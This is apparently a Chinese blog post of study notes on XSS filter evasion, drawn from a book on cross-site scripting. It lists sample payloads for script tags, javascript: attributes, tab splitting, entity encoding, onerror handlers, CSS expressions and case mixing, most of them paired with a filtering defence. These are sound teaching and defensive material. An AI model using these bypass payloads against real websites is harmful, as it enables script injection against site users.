• XSS构造剖析


     参考:邱永华《XSS跨站脚本攻击剖析与防御》

    一 绕过XSS-filter

    1.利用<>标记注射Html/JavaScript
    比如:<script>alert('XSS');</script>
    防御:过滤和转义“<>”或<script>等字符

    2.利用HTML标签属性执行XSS
    比如:<img src=“javascript:alert('XSS');”>
    防御:过滤JavaScript、VBScript等关键字

    3.利用空格回车Tab绕过XSS Filter的黑名单限制
    比如:<img src=“javas cript:alert(/XSS/)” width=100> (注意javas和cript之间的间隔是由Tab键添加的)

    4.对标签属性值转码
    比如:将<img src=“javascript:alert('XSS');”>替换成<img src=“javascrip&#116&#58alert(/XSS/);”>
    其中t的ASCII码为116,用&#116表示,:则表示为&#58
    防御:过滤&#等字符

    5.产生自己的事件
    <input type="button" value="clickme" onclick="alert('clickme')">
    <img src="#" onerror=alert(/xss/)>

    6.利用CSS跨站剖析
    示例1:
    <div style="background-image:url(javascript:alert('XSS'))">
    <style>
    body {background-image:url("javascript:alert('XSS')");}
    </style>
    防御:过滤<style>标签,同时对style属性的值进行过滤
    示例2:
    <img src="#" style="XSS:expression(alert('XSS'));">
    此外,CSS样式表还可以直接从其他文件进行引用,比如使用<link>标签引用或者使用@import将其导入。
    防御:对样式表中的expression、javascript、import等敏感字符机芯过滤。

    7.扰乱过滤规则
    比如转换大小写、大小写混淆、双引号改为单引号或者不使用引号、插入/**/或者或者等混淆字符(因为这些字符会被浏览器忽略)欺骗过滤器、将CSS中的关键字进行转码等。

    二 利用字符编码

    比如unicode、escapes、十六进制、八进制等编码形式
    或者使用其他编码/加密技术——JScript Encode和VBScript Encode。

    三 拆分跨站法

    核心:将跨站代码分成几个片段,然后再使用某种方式将其拼接在一起执行

  • 相关阅读:
    linux下配置java环境及问题
    Chrome工具使用
    Ibatis的resultMap和查询数据的对应关系
    spring mvc接收数组
    PowderDesign的使用
    Android Runtime Stats
    [原创]ASM动态修改JAVA函数之函数字节码初探
    [原创]WB Android客户端架构总结:发WB工作队列设计
    [原创]Android Studio的Instant Run(即时安装)原理分析和源码浅析
    [原创]Android系统中常用JAVA类源码浅析之HashMap
  • 原文地址:https://www.cnblogs.com/zhengna/p/12196495.html
Copyright © 2020-2023  润新知